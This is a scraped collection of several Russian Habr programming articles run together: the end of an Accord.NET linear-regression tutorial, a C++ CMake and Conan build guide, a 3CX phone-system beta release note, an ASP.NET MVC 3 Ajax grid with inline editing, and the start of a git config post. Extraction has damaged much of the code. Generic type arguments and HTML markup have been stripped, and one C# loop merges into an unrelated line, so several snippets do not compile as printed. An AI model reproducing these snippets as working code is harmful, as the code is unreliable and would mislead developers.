UseIntercept = true
};
//linear regression model for several features
MultipleLinearRegression regression = ols.Learn(inputsTrain, OutResPositiveTrain);
```
Осталось создать модели. Вначале создаем объект обычной линейной регрессии, а потом на основе него создаем модель для множественной регрессии ведь у нас почти 30 признаков. Обучаем модель естественно на тренировочной выборке.
```
//make a prediction
double[] predicted = regression.Transform(inputsTest);
```
Получаем непосредственно предсказание для тренировочной выборки.
```
//console output
for (int i = 0; i < testPos - traintPos; i++)
{
Console.WriteLine("predicted: {0} real: {1}", predicted[i], OutResPositiveTest[i]);
}
// And print the squared error using the SquareLoss class:
Console.WriteLine("error = {0}", new SquareLoss(OutResPositiveTest).Loss(predicted));
// print the coefficient of determination
double r2 = new RSquaredLoss(numberOfInputs: 29, expected: OutResPositiveTest).Loss(predicted);
Console.WriteLine("R^2 = {0}", r2);
// alternative print the coefficient of determination
double ur2 = regression.CoefficientOfDetermination(inputs, OutResPositiveTest, adjust: true);
Console.WriteLine("alternative version of R2 = {0}", r2);
Console.WriteLine("Press enter and close chart to exit");
```
Выводим в консоль данные о спрогнозированном и реальном значениях, а также сведения об ошибке и коэффициенте детерминации.
```
// for chart
int[] classes = new int[allData];
double[] mountX = new double[allData];
for (int i = 0; i < allData; i++)
{
if (i OutChart = new List();
OutChart.AddRange(OutResPositive);
OutChart.AddRange(predicted);
```
Разработчики похоже сами советуют использовать сторонние инструменты для отображения графиков, но мы воспользуемся поставляемым с фреймворком графиком ScatterplotBox, который выводит точки. Чтобы данные были хоть как-то наглядны мы по шкале X создаем аналог временного тренда (точка 1 это января 16, последняя точка октябрь 2017), также параллельно мы классифицируем точки в другом массиве первые 22 это наши исходные данные, а последние 4 предсказанные (график раскрасит их в другой цвет).
```
// plot chart
ScatterplotBox.Show("res_positive from months", mountX, OutChart.ToArray(), classes).Hold();
// for pause
Console.ReadLine();
}
}
}
```
ScatterplotBox.Show выводит окошко с графиком. Ему мы скормим наши ранее подготовленные данные для осей Х и У.
Честно признаюсь Visual Basic я не знаю, но тут нам поможет [конвертер с C# на VB.NET](http://converter.telerik.com).
Разбирать по частям код не будем, вы можете ориентироваться по оставленным в коде комментариям, они идентичны для обоих проектов и делят код на аналогичные секции.
**Полный код на VB.NET**
```
Imports System
Imports System.Linq
Imports Accord.Statistics.Models.Regression.Linear
Imports Accord.IO
Imports Accord.Math
Imports System.Data
Imports System.Collections.Generic
Imports Accord.Controls
Imports Accord.Math.Optimization.Losses
Module Program
Sub Main()
'for separating the training and test samples
Dim traintPos As Integer = 18
Dim testPos As Integer = 22
Dim allData As Integer = testPos + (testPos - traintPos)
'for correct reading symbol of float point in csv
Dim customCulture As System.Globalization.CultureInfo = CType(System.Threading.Thread.CurrentThread.CurrentCulture.Clone(), System.Globalization.CultureInfo)
customCulture.NumberFormat.NumberDecimalSeparator = "."
System.Threading.Thread.CurrentThread.CurrentCulture = customCulture
'read data
Dim CsvFilePath As String = "msc_appel_data.csv"
Dim mscTable As DataTable = New CsvReader(CsvFilePath, True).ToTable()
'for encoding the string values of months into numerical values
Dim monthNames As Dictionary(Of String, Double) = New Dictionary(Of String, Double) From
{{"January", 1}, {"February", 2}, {"March", 3}, {"April", 4}, {"May", 5}, {"June", 6},
{"July", 7}, {"August", 8}, {"September", 9},
{"October", 10}, {"November", 11}, {"December", 12}}
Dim months As String() = mscTable.Columns("month").ToArray(Of String)()
Dim dMonths As Double() = New Double(months.Length - 1) {}
For i As Integer = 0 To months.Length - 1
dMonths(i) = monthNames(months(i))
Next
'select the target column
Dim OutResPositive As Double() = mscTable.Columns("res_positive").ToArray()
'separation of the test and train target sample
Dim OutResPositiveTrain As Double() = OutResPositive.[Get](0, traintPos)
Dim OutResPositiveTest As Double() = OutResPositive.[Get](traintPos, testPos)
'deleting unneeded columns
mscTable.Columns.Remove("total_appeals")
mscTable.Columns.Remove("month")
mscTable.Columns.Remove("res_positive")
mscTable.Columns.Remove("year")
'add coded in a double column month into Table
'create new column
Dim newCol As DataColumn = New DataColumn("dMonth", GetType(Double))
newCol.AllowDBNull = True
'add new column
mscTable.Columns.Add(newCol)
'fill new column
Dim counter As Integer = 0
For Each row As DataRow In mscTable.Rows
row("dMonth") = dMonths(counter)
counter += 1
Next
'receiving input data from a table
Dim inputs As Double()() = mscTable.ToArray()
'separation of the test and train sample
Dim inputsTrain As Double()() = inputs.[Get](0, traintPos)
Dim inputsTest As Double()() = inputs.[Get](traintPos, testPos)
'simple linear regression model
Dim ols = New OrdinaryLeastSquares() With {.UseIntercept = True}
'linear regression model for several features
Dim regression As MultipleLinearRegression = ols.Learn(inputsTrain, OutResPositiveTrain)
'make a prediction
Dim predicted As Double() = regression.Transform(inputsTest)
'console output
For i As Integer = 0 To testPos - traintPos - 1
Console.WriteLine("predicted: {0} real: {1}", predicted(i), OutResPositiveTest(i))
Next
'And print the squared error using the SquareLoss class
Console.WriteLine("error = {0}", New SquareLoss(OutResPositiveTest).Loss(predicted))
'print the coefficient of determination
Dim r2 As Double = New RSquaredLoss(numberOfInputs:=29, expected:=OutResPositiveTest).Loss(predicted)
Console.WriteLine("R^2 = {0}", r2)
'alternative print the coefficient of determination
Dim ur2 As Double = regression.CoefficientOfDetermination(inputs, OutResPositiveTest, adjust:=True)
Console.WriteLine("alternative version of R2 = {0}", r2)
Console.WriteLine("Press enter and close chart to exit")
'for chart
Dim classes As Integer() = New Integer(allData - 1) {}
Dim mountX As Double() = New Double(allData - 1) {}
For i As Integer = 0 To allData - 1
If i < testPos Then
mountX(i) = i + 1
classes(i) = 0 'csv data is class 0
Else
mountX(i) = i - (testPos - traintPos) + 1
classes(i) = 1 'predicted is class 1
End If
Next
'make points of chart
Dim OutChart As List(Of Double) = New List(Of Double)()
OutChart.AddRange(OutResPositive)
OutChart.AddRange(predicted)
'plot chart
ScatterplotBox.Show("res_positive from months", mountX, OutChart.ToArray(), classes).Hold()
'for pause
Console.ReadLine()
End Sub
End Module
```
Надо отметить, что наш проект получился вполне кроссплатформенным, поскольку его можно собрать как с помощью Visual Studio под Windows, так и с помощью MonoDevelop под Linux. Правда это справедливо, только по отношению к C#, код на VB.NET под Mono не всегда собирается без проблем.
Вместо тысячи слов лучше посмотрим на снимки экрана.
Сборка VB проекта версии 1.0.1. под Windows.
Сборка С# проекта версии 1.0.0. под Linux Mint.
Вы, наверное, обратили внимание, что результаты на картинках немного различаются.
**Это не вина Mono**. Всё дело в том, что в версии проекта (1.0.0) на C# собранной под Linux я забыл учесть перекодированный столбец с месяцами. А в версии проекта (1.0.1) на VB собранной в Visual Studio — учел.
Хотел вначале поправить снимки экрана, но потом подумал, что это — наглядная демонстрация того, что данный признак чуть-чуть улучшает качество предсказания.
Однако, на самом деле мы добились плохих результатов, не имеющих никакой пользы кроме учебной.
Причиной этому стали следующие факторы:
1. Данные у нас в разных величинах, но мы их при этом не масштабировали. *(Потому что я не разобрался еще как это сделать с помощью Accord.NET)*.
2. Также мы запихнули в модель почти все признаки и при этом не использовали отсев «плохих» признаков, то есть регуляризацию.*(Угадайте почему? Правильно потому что я тоже пока не разобрался с ней)*.
3. Ну и безусловно слишком мало данных чтобы делать, нормальные предсказания.
*Может быть еще какие-то вещи, о которых мне неизвестно.*
Но мы к счастью и не ставили себе целью практическое применение модели, нам было важно узнать о существовании фреймворка и попробовать сделать простейшие вещи, ну а дальше я надеюсь, что вы освоите этот инструмент и уже я буду на ваших статьях учится работе с Accord.Net. | https://habr.com/ru/post/346222/ | null | ru | null |
# Тайные знания: библиотеки для С++
> *Рун не должен резать
> Тот, кто в них не смыслит.
> В непонятных знаках
> Всякий может сбиться.
> (Сага об Эгиле)*
>
>
Многие начинающие программисты, уже освоив синтаксис C++, обнаруживают, что нет простого способа как подключить библиотеку, так и собрать программу для другой ОС, или чего хуже, под другим компьютером с той же ОС.
Это проблема отчасти порождается спорной практикой в обучении, когда код учат писать и запускать средствами IDE, таких как Visual Studio, Code::Blocks, и других. Поначалу такой подход работает, но лишь до первой реальной задачи сделать что-то, что запустится не только на вашем компьютере. Тут-то новички и сталкиваются с отсутствием стандартной системы сборки и менеджера зависимостей. После осознания этой сложности, большинство студентов, как правило, переходят на другие языки, попутно тиражируя в индустрии миф о том, что C++ де не кроссплатформенный язык, а вот мой Python/Java/C# - да. Между тем нас окружает множество замечательных кроссплатформенных программ написанных на C++. Если вы обучаетесь C++ и хотите понять как создавать такое ПО, то эта статья для вас.
1. Минутка теории. Получение исполняемого файла всегда и везде, зачем это необходимо?
-------------------------------------------------------------------------------------
Если вы читаете эту статью, то наверное, отдалено уже понимаете, что преобразует код компилятор (а склеивает в один исполнямый файл линковщик), но на практике, скорее всего до сих пор не сталкивались с этим, запуская сборку в один исполняемый файл сразу из IDE. Возможно вы вообще не пробовали собрать программу в файл, запуская её красивой зелененькой кнопочкой Run.
Однако и сама IDE, в свою очередь, не собирает и не запускает ваш код, а лишь вызывает специальную программу, которая называется *система сборки*, или *сборщик,* который-то и отвечает за сборку проекта и взаимодействие с компилятором и линковщиком.
У Visual Studio, к примеру, сборщиком по умолчанию является MSBuild, а у CLion - CMake. Те дополнительные файлы, которые вы видите, создав новый проект через интерфейс IDE, и являются конфигурацией для системы сборки. Наша задача просто научиться взаимодействовать с ней напрямую. Для этого мы возьмем CMake, потому что в отличие от MSBuild, эта система сборки запускается на большинстве ОС.
Почему надо разобраться в конфигурации системы сборки? Разве мне недостаточно среды, спросите вы? Потому что ваша среда может запуститься не везде, а система сборки гораздо более переносима, с ней вы сможете автоматизировать сборку, использовать контейнеры Docker, сможете оставить в репозитории билд скрипт который соберет ваш код на любом компьютере - ну разве не круто?
2. Пишем конфигурацию сборки самостоятельно
-------------------------------------------
Итак, пришло время выйти из уютного мира в IDE, и вступить на путь уже кроссплатформенной стрельбы себе в ногу. Прежде всего, убедитесь что ваш код использует только стандартные функции С++. Если он вызывает ОС-зависимые API, вроде *#include ,* то рассмотрите чем их можно заменить. После этого воспользуемся следующим шаблоном CMake и создадим новый файл *CMakeLists.txt*:
```
cmake_minimum_required(VERSION 3.18)
set(CMAKE_CXX_STANDARD 20)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
# Подключаем менеджер зависимостей Conan
list(APPEND CMAKE_MODULE_PATH ${CMAKE_BINARY_DIR})
list(APPEND CMAKE_PREFIX_PATH ${CMAKE_BINARY_DIR})
if (NOT EXISTS "${CMAKE_BINARY_DIR}/conan.cmake")
message(STATUS "Downloading conan.cmake from https://github.com/conan-io/cmake-conan")
file(DOWNLOAD "https://raw.githubusercontent.com/conan-io/cmake-conan/v0.16.1/conan.cmake"
"${CMAKE_BINARY_DIR}/conan.cmake"
EXPECTED_HASH SHA256=396e16d0f5eabdc6a14afddbcfff62a54a7ee75c6da23f32f7a31bc85db23484
TLS_VERIFY ON)
endif ()
include(${CMAKE_BINARY_DIR}/conan.cmake)
# Подключаем репозиторий зависимостей https://conan.io
conan_add_remote(NAME conan-center INDEX 1 URL https://center.conan.io VERIFY_SSL True)
# Скачиваем нужные нам зависимости, например:
conan_cmake_configure(REQUIRES catch2/2.13.6 spdlog/1.8.5 threadpool/20140926 simdjson/0.9.6 icu/69.1 GENERATORS cmake_find_package)
conan_cmake_autodetect(settings)
conan_cmake_install(PATH_OR_REFERENCE . BUILD missing REMOTE conan-center SETTINGS ${settings})
# Делаем зависимости видимыми для CMake
find_package(Catch2) # фреймворк тестирования
find_package(ICU) # работа с юникодом
find_package(spdlog) # логирование
find_package(simdjson) # парсинг json с помощью simd
find_package(ThreadPool) # ThreadPoolExecutor
# Подключаем файлы с основным кодом
file(GLOB proj_sources src/*.cpp)
add_executable(app ${proj_sources})
# Линкуем зависимости для основного кода (имена для линковки можно вытащить из описания зависимостей)
target_link_libraries(app PRIVATE ThreadPool::ThreadPool spdlog::spdlog simdjson::simdjson ICU::io ICU::i18n ICU::uc ICU::data)
# Подключаем файлы с кодом тестов
list(FILTER proj_sources EXCLUDE REGEX ".*/Main.cpp$")
file(GLOB test_sources test/*.cpp)
add_executable(test ${proj_sources} ${test_sources})
# Линкуем зависимости для тестов
target_link_libraries(test PRIVATE Catch2::Catch2 ThreadPool::ThreadPool spdlog::spdlog simdjson::simdjson ICU::io ICU::i18n ICU::uc ICU::data)
```
В этом шаблоне задаётся практически все, что нужно вам для сборки:
1. Устанавливается стандарт C++20
2. Подключается репозиторий библиотек Conan
3. Задается соглашение, что файлы с кодом (*.cpp, .h*) будут лежать в папке *src*.
4. Задается соглашение, что файлы с кодом для тестов будут лежать в паке *test*.
5. Задаётся соглашение, что точки входа (*int main*) будут лежать в файлах *Main.cpp*
*Убедитесь что ваш код хранится по этим соглашениям.*
В скрипте также сразу подключается для примера несколько библиотек, по аналогии, следуя комментариям, вы можете добавить нужные вам.
Искать их можно тут: [conan.io](https://conan.io).
### 3. Как теперь собрать наше приложение в файл?
Мы отказались от кнопочек IDE в пользу более могущественного скрипта. Теперь нам понадобится платформа [GCC](https://gcc.gnu.org/) или [LLVM](https://llvm.org/) (возможно они уже есть на вашем компьютере), установленная система сборки [CMake](https://cmake.org/download) и менеджер зависимостей [Conan](https://conan.io). Их легко установить при помощи пакетного менеджера вашей ОС, или вручную, с официальных сайтов.
Откройте терминал в папке, где лежит *CMakeLists.txt.* Сначала нужно подготовить make-файлы. Воспринимайте это как предварительное действие:
```
cmake -DCMAKE_BUILD_TYPE=Release -G "Unix Makefiles" -B bin
```
После этого можно собрать само приложение и тесты:
```
cmake --build bin --target all
```
Приложение будет расположено в директории `bin` в файле под именем `app`.
Тесты могут быть запущены при помощи отдельного файла `test` в той же директории.
Вот и всё! Не так уж сложно, правда? Теперь вы можете распространять свое ПО на разные ОС, легко собирать его и подключать библиотеки. Если вы попробовали и что-то не работает, или есть какие-то вопросы, то их можно задать в комментариях под этой статьёй, постараюсь ответить.
После того как вы разберетесь как это делать, можно пользоваться моим project-wizard'ом для создания кроссплатформенных C++ утилит и библиотек в один клик: [github.com/demidko](https://github.com/demidko)
Однако сперва рекомендую попробовать воспроизвести результат самостоятельно, для лучшего понимания, что именно вы делаете, ведь в процессе приходят осознание и навык. | https://habr.com/ru/post/581228/ | null | ru | null |
# 3CX v15.5 Update 4 Beta — распознавание речи через Microsoft Speech и обновленный Call Flow Designer
На этой неделе произошли два приятных события. Во-первых, мы выпустили обновление 3CX v15.5 Update 4 BETA, и, во вторых, — очередное обновление среды разработки голосовых приложений 3CX Call Flow Designer.
Обновление v15.5 Update 4 BETA
------------------------------
В v15.5 Update 4 BETA появился перевод речи в текст для сообщений голосовой почты! Теперь вы можете получить расшифрованное текстовое сообщение как на свою электронную почту, так и увидеть его в интерфейсе веб-клиента 3CX. Чтобы перевод речи в тест работал, необходимо подключить аккаунт Microsoft Speech. Ниже мы рассмотрим подробнее, как это сделать.
Для звонков, приходящих из Очередей вызовов, теперь можно устанавливать отличительные мелодии (эту возможность давно запрашивали пользователи). Также теперь прямо из интерфейса 3CX можно включать режим Multicast для Групп вызова на поддерживаемых телефонах (автонастройка для мультикастовых Групп вызова не поддерживается для телефонов, подключенных через SBC или удаленно (STUN)).
Еще одна новая возможность, которую запрашивали пользователи: теперь можно прошивать поддерживаемые IP-телефоны не только официальными прошивками от 3CX, но и другими, доступными для этой модели. Например, прошивками с поддержкой русского языка или отключенными протоколами шифрования. Включение поддержки делается в интерфейсе 3CX в разделе Параметры – Клиент 3CX.
В v15.5 Update 4 BETA появилась поддержка UTF8 в именах файлах записей разговоров. Эту возможность наши клиенты запрашивали также очень давно. А в Главной панели интерфейса появились дополнительные уведомления о проблемах в работе сетевого экрана, измененных шаблонах IP-телефонов и неподдерживаемых VoIP-операторах.
* [Видеообзор 3CX v15.5 Update 4 Beta на английском языке](https://youtu.be/7wS8yGjJZLE)
* [Полный журнал изменений](https://www.3cx.com/blog/change-log/phone-system-change-log/)
### Загрузка и установка
* [3CX for Windows](https://downloads.3cx.com/downloads/3CXPhoneSystem_15.5.10072.4.exe)
* [3CX for Debian Linux 9 ISO](https://downloads.3cx.com/downloads/debian9iso/debian-amd64-netinst-3cx.iso)
При запуске образа появится меню выбора устанавливаемой версии. Выберите 3CX Beta для установки 3CX v15.5 Update 4.
[](https://downloads.3cx.com/downloads/debian9iso/debian-amd64-netinst-3cx.iso)
Пользователи Debian 8 (Jessie), которые еще не обновили ОС до Debian 9, должны использовать следующие команды установки:
```
wget -O- http://downloads.3cx.com/downloads/3cxpbx/public.key | apt-key add -
echo "deb http://downloads.3cx.com/downloads/debian jessie-testing main" | tee /etc/apt/sources.list.d/3cxpbx-testing.list
apt-get update
apt-get -t testing install 3cxpbx
```
Пользователи Debian 8 (Jessie) также должны использовать [Руководство по обновлению Debian 8 на Debian 9 Stretch](https://www.3cx.com/blog/docs/upgrading-debian/).
Распознавание голосовой почты в текст
-------------------------------------
Для включения распознавания сообщений голосовой почты в текст необходимо выполнить следующие условия:
* 3CX 15.5 SP4 и выше.
* Если система установлена на Windows, используйте Windows 8 и выше.
* Редакция 3CX Professional или Enterprise
* Бесплатная или платная подписка Microsoft Bing
### Создание пробной подписки Microsoft Bing
Используйте такой тип подписки, если у вас нет аккаунта Microsoft Azure, но хочется попробовать распознавание речи. Чтобы получить тестовый период на 30 дней, перейдите по [ссылке](https://azure.microsoft.com/en-us/try/cognitive-services/), выберите вкладку Speech > Bing Speech API > Get API key, примите условия Microsoft, а затем войдите со своим аккаунтом Microsoft.
После включения Microsoft Speech API будет создан API ключ. Затем он указывается в интерфейсе 3CX.
### Создание платной подписки Microsoft Azure
Для использования распознавания речи в рабочем окружении необходим коммерческий аккаунт Microsoft Azure. Для этого создайте аккаунт или войдите в [существующий](https://azure.microsoft.com/free/), нажмите Create a resource, выполните поиск по Bing Speech API и нажмите Create. Заполните необходимые поля и завершите создание ресурса. Затем в левом меню выберите All resources и когнитивный ресурс, который вы создали.
В разделе Resource Management нажмите Keys и скопируйте значение KEY 1. Этот ключ указывается в интерфейсе 3CX.
### Включение распознавания речи в 3CX
Для подключения распознавания речи (голосовой почты) в 3CX перейдите в раздел Параметры > Голосовая почта и включите опцию Распознавание текста голосовой почты.
Укажите API ключ в поле Ключ подписки Microsoft и установите язык распознавания.
Теперь, при получении голосового сообщения, вы получите распознанный текст в e-mail уведомлении. Кроме того он будет доступен в веб-клиенте 3CX в разделе Голосовая почта.
Обновление 3CX Call Flow Designer
---------------------------------
Представляем очередное обновление среды разработки [3CX Call Flow Designer](https://www.3cx.ru/ip-pbx/call-flow-designer/)! В нем появился новый компонент Record and Email, обновлены регионы для TTS модуля [Amazon Polly](https://aws.amazon.com/polly/) и добавлена новая опция выбора диапазона дат в компонент Date & Time conditional.
Компонент Record and Email позволяет записать разговор с пользователем, а затем отправить его на указанный e-mail в виде вложения. Если разговор завершен, потому что звонящие положили трубки, e-mail сообщение будет отправлено автоматически. Больше не нужно создавать обработчик Disconnect Handler для такого события.
Еще одно обновление — указание диапазона дат в компоненте Date & Time conditional. Например, если организация будет закрыта в течении двух недель, можно задать условие «Date range». Ранее приходилось указывать условие «Specific day» для каждого нерабочего дня в отдельности. Условие «Date range» выполняется, если указаны даты «от» и «до» (включительно) и время «от» и «до».
### Другие улучшения CFD
* Добавлена новая CFD функция CONTAINS
* Исправление в компоненте EMail Sender, который некорректно формировал HTML сообщения после обновления 3CX v15.5 Update 3
* Исправление в функции EQUAL, которая возвращала значение FALSE при сравнении Int32 и Int64 с одинаковыми числами
* Исправление в логике исполнения голосового приложения. Теперь, если все компоненты выполнены, и вызов завершается голосовым приложением, автоматически корректно отрабатывает обработчик Disconnect Handler.
* Исправление в дайлерах: в каждом цикле дозвона переменные не сбрасывались в значения по умолчанию, а сохраняли свои значения из предыдущих циклов
### Загрузки и документация
* [Call Flow Designer](http://downloads.3cx.com/downloads/3CXCallFlowDesigner.exe)
* [Документация](https://www.3cx.com/docs/manual/call-flow-designer-manual/)
* [Полный журнал изменений](https://www.3cx.com/blog/change-log/vad-change-log/) | https://habr.com/ru/post/352024/ | null | ru | null |
# In-line редактирование табличных данных в ASP.Net MVC 3
Представляю вашему вниманию ещё одну реализацию AjaxGrid на ASP.Net MVC 3.
В статье рассказывается как создать табличную форму с inline редактированием, ajax сортировкой и ajax пейджером.
Данная реализация — компиляция из нескольких доступных компонентов.
Как это обычно бывает, по рабочей необходимости мне понадобилось отображать табличные данные с возможностью их редактирования. Примерно как на скриншоте:
Перед тем как приступим установим AjaxGridScaffolder
`PM> Install-Package AjaxGridScaffolder`
#### Создаём слой данных
Сущность.
```
namespace HabrahabrMVC.Domain.Entities
{
public class RealtyObject
{
public int Id { get; set; }
public string City { get; set; }
public string Street { get; set; }
public string House { get; set; }
public double Cost { get; set; }
public bool Visible { get; set; }
}
}
```
Интерфейс.
```
namespace HabrahabrMVC.Domain.Abstract
{
public interface IRepository
{
IQueryable GetAll();
void Save(RealtyObject objectToSave);
}
}
```
Контекст.
```
namespace HabrahabrMVC.Domain.Concrete
{
public class EFContext : DbContext
{
public DbSet RealtyObjects { get; set; }
protected override void OnModelCreating(DbModelBuilder modelBuilder)
{
base.OnModelCreating(modelBuilder);
}
}
}
```
Реализация интерфейса.
```
namespace HabrahabrMVC.Domain.Concrete
{
public class EFRepository :IRepository
{
EFContext _db = new EFContext();
public void Save(Entities.RealtyObject objectToSave)
{
_db.Entry(_db.RealtyObjects.SingleOrDefault(z=>z.Id==objectToSave.Id)).CurrentValues.SetValues(objectToSave);
_db.Entry(\_db.RealtyObjects.SingleOrDefault(z => z.Id == objectToSave.Id)).State = System.Data.EntityState.Modified;
\_db.SaveChanges();
}
public IQueryable GetAll()
{
return \_db.RealtyObjects.AsQueryable();
}
}
}
```
#### Создаём контроллер
ObjectsView:
1)Для этого щёлкаем правой кнопкой в Object Explorer'e(Обозреватель объектов) на папке Controllers, выбираем Add->Controller… (Добавить->Контроллер...).
2)Пишем название ObjectsViewController.
3)Шаблон — Ajax Grid Controller
4)Класс модели — RealtyObject (HabraHabrMVC3.Domain.Entities)
5)Класс контекста данных — EFContext (HabraHabrMVC3.Domain.Concrete)
6)Добавить.
После того как мастер сгенерировал нам код, добавляем конструктор в контроллёр, для того чтобы, Ninject корректно инжектировал наш слой данных.
```
//private EFContext db = new EFContext();
private IRepository db;
public ObjectsViewController(IRepository dbparam)
{
db = dbparam;
}
```
Теперь надо в сгенерированном коде поменять источники данных:
db.RealtyObjects на db.GetAll()
db.RealtyObjects.Find(id) на db.GetAll().SingleOrDefault(z=>z.Id==id)
Сейчас мне не нужны экшены по созданию, редактированию и удалению данных, я их удалю.
Также в view GridData.cshtml удалил кнопки редактирования и удаления.
Сейчас не заработает строчка:
```
ObjectQuery realtyobjects = (db as IObjectContextAdapter).ObjectContext.CreateObjectSet();
```
т.к. db не поддерживает IObjectContextAdapter.
Поэтому добавим метод раширения Linq.
Я создал отдельный статический класс OrderByHelper.
```
namespace HabraHabrMVC3.Infrastructure
{
public static class OrderByHelper
{
public static IEnumerable OrderBy(this IEnumerable enumerable, string orderBy)
{
return enumerable.AsQueryable().OrderBy(orderBy).AsEnumerable();
}
public static IQueryable OrderBy(this IQueryable collection, string orderBy)
{
foreach (OrderByInfo orderByInfo in ParseOrderBy(orderBy))
collection = ApplyOrderBy(collection, orderByInfo);
return collection;
}
private static IQueryable ApplyOrderBy(IQueryable collection, OrderByInfo orderByInfo)
{
string[] props = orderByInfo.PropertyName.Split('.');
Type type = typeof(T);
ParameterExpression arg = Expression.Parameter(type, "x");
Expression expr = arg;
foreach (string prop in props)
{
// use reflection (not ComponentModel) to mirror LINQ
PropertyInfo pi = type.GetProperty(prop);
expr = Expression.Property(expr, pi);
type = pi.PropertyType;
}
Type delegateType = typeof(Func<,>).MakeGenericType(typeof(T), type);
LambdaExpression lambda = Expression.Lambda(delegateType, expr, arg);
string methodName = String.Empty;
if (!orderByInfo.Initial && collection is IOrderedQueryable)
{
if (orderByInfo.Direction == SortDirection.Ascending)
methodName = "ThenBy";
else
methodName = "ThenByDescending";
}
else
{
if (orderByInfo.Direction == SortDirection.Ascending)
methodName = "OrderBy";
else
methodName = "OrderByDescending";
}
//TODO: apply caching to the generic methodsinfos?
return (IOrderedQueryable)typeof(Queryable).GetMethods().Single(
method => method.Name == methodName
&& method.IsGenericMethodDefinition
&& method.GetGenericArguments().Length == 2
&& method.GetParameters().Length == 2)
.MakeGenericMethod(typeof(T), type)
.Invoke(null, new object[] { collection, lambda });
}
private static IEnumerable ParseOrderBy(string orderBy)
{
if (String.IsNullOrEmpty(orderBy))
yield break;
string[] items = orderBy.Split(',');
bool initial = true;
foreach (string item in items)
{
string[] pair = item.Trim().Split(' ');
if (pair.Length > 2)
throw new ArgumentException(String.Format("Invalid OrderBy string '{0}'. Order By Format: Property, Property2 ASC, Property2 DESC", item));
string prop = pair[0].Trim();
if (String.IsNullOrEmpty(prop))
throw new ArgumentException("Invalid Property. Order By Format: Property, Property2 ASC, Property2 DESC");
SortDirection dir = SortDirection.Ascending;
if (pair.Length == 2)
dir = ("desc".Equals(pair[1].Trim(), StringComparison.OrdinalIgnoreCase) ? SortDirection.Descending : SortDirection.Ascending);
yield return new OrderByInfo() { PropertyName = prop, Direction = dir, Initial = initial };
initial = false;
}
}
private class OrderByInfo
{
public string PropertyName { get; set; }
public SortDirection Direction { get; set; }
public bool Initial { get; set; }
}
private enum SortDirection
{
Ascending = 0,
Descending = 1
}
}
}
```
И тогда новый вид action GridData:
```
public ActionResult GridData(int start = 0, int itemsPerPage = 20, string orderBy = "Id", bool desc = false)
{
Response.AppendHeader("X-Total-Row-Count", db.GetAll().Count().ToString());
var realtyobjects = db.GetAll().OrderBy(orderBy + (desc ? " desc" : ""));
return PartialView(realtyobjects.Skip(start).Take(itemsPerPage));
}
```
Сейчас у нас получилась прекрасная Ajax таблица с сортировкой и постраничным просмотром.
#### Добавление inline редактирования
Добавляем ещё один метод расширения, только уже для HTML хелпера:
```
namespace System.Web
{
public static class HtmlPrefixScopeExtensions
{
private const string idsToReuseKey = "__htmlPrefixScopeExtensions_IdsToReuse_";
public static IDisposable BeginCollectionItem(this HtmlHelper html, string collectionName)
{
var idsToReuse = GetIdsToReuse(html.ViewContext.HttpContext, collectionName);
string itemIndex = idsToReuse.Count > 0 ? idsToReuse.Dequeue() : Guid.NewGuid().ToString();
// autocomplete="off" is needed to work around a very annoying Chrome behaviour whereby it reuses old values after the user clicks "Back", which causes the xyz.index and xyz[...] values to get out of sync.
html.ViewContext.Writer.WriteLine(string.Format("", collectionName, html.Encode(itemIndex)));
return BeginHtmlFieldPrefixScope(html, string.Format("{0}[{1}]", collectionName, itemIndex));
}
public static IDisposable BeginHtmlFieldPrefixScope(this HtmlHelper html, string htmlFieldPrefix)
{
return new HtmlFieldPrefixScope(html.ViewData.TemplateInfo, htmlFieldPrefix);
}
private static Queue GetIdsToReuse(HttpContextBase httpContext, string collectionName)
{
// We need to use the same sequence of IDs following a server-side validation failure,
// otherwise the framework won't render the validation error messages next to each item.
string key = idsToReuseKey + collectionName;
var queue = (Queue)httpContext.Items[key];
if (queue == null)
{
httpContext.Items[key] = queue = new Queue();
var previouslyUsedIds = httpContext.Request[collectionName + ".index"];
if (!string.IsNullOrEmpty(previouslyUsedIds))
foreach (string previouslyUsedId in previouslyUsedIds.Split(','))
queue.Enqueue(previouslyUsedId);
}
return queue;
}
private class HtmlFieldPrefixScope : IDisposable
{
private readonly TemplateInfo templateInfo;
private readonly string previousHtmlFieldPrefix;
public HtmlFieldPrefixScope(TemplateInfo templateInfo, string htmlFieldPrefix)
{
this.templateInfo = templateInfo;
previousHtmlFieldPrefix = templateInfo.HtmlFieldPrefix;
templateInfo.HtmlFieldPrefix = htmlFieldPrefix;
}
public void Dispose()
{
templateInfo.HtmlFieldPrefix = previousHtmlFieldPrefix;
}
}
}
}
```
Заменим view GridData на
```
@model IEnumerable
@if (Model.Count() > 0)
{
foreach (var item in Model)
{
@Html.Partial("Edit", item)
}
}
```
А view Edit на:
```
@model HabraHabrMVC3.Domain.Entities.RealtyObject
@using (Html.BeginCollectionItem("objects"))
{
|
@Html.EditorFor(model => model.City)
@Html.ValidationMessageFor(model => model.City)
|
@Html.EditorFor(model => model.Street)
@Html.ValidationMessageFor(model => model.Street)
|
@Html.EditorFor(model => model.House)
@Html.ValidationMessageFor(model => model.House)
|
@Html.EditorFor(model => model.Cost)
@Html.ValidationMessageFor(model => model.Cost)
|
@Html.EditorFor(model => model.Visible)
@Html.ValidationMessageFor(model => model.Visible)
|
}
```
В view Index добавим:
```
@using (Html.BeginForm("Save", "ObjectsView", FormMethod.Post))
{
...code...
}
```
Добавляем action Save:
```
[HttpPost]
public ActionResult Save(ICollection objects)
{
foreach(var item in objects)
{
db.Save(item);
}
return RedirectToAction("Index");
}
```
Здесь важно, чтобы совпадали имя коллекции в @using (Html.BeginCollectionItem("**objects**")) и название параметра в методе action Save(ICollection **objects**).
Всё, получилась табличная форма с inline редактированием, ajax сортировкой и ajax пейджером.
Список используемой литературы в интернетах:
1)[Ajax Grid Scaffolder](http://haacked.com/archive/2011/08/17/new-ajax-grid-scaffolding-nuget-package-for-mvc-3.aspx)
2)[Editing a variable length list, ASP.NET MVC 2-style](http://blog.stevensanderson.com/2010/01/28/editing-a-variable-length-list-aspnet-mvc-2-style/)
3)[Dynamic SQL-like Linq OrderBy Extension](http://aonnull.blogspot.com/2010/08/dynamic-sql-like-linq-orderby-extension.html)
[Скачать полученный результат.](http://slrz.ru/HabraHabrMVC3.zip) | https://habr.com/ru/post/138580/ | null | ru | null |
# Что делать неизвестным в вашем git репозитории
Всем привет! Предлагаю взглянуть на проблему, связанную с появлением коммитов от «неизвестных» пользователей в вашем git репозитории. Такое может возникнуть, если один разработчик будет использовать несколько разных git конфигов. Расскажу, какие есть варианты избежать похожую ситуацию.
### Контроль git config в проекте
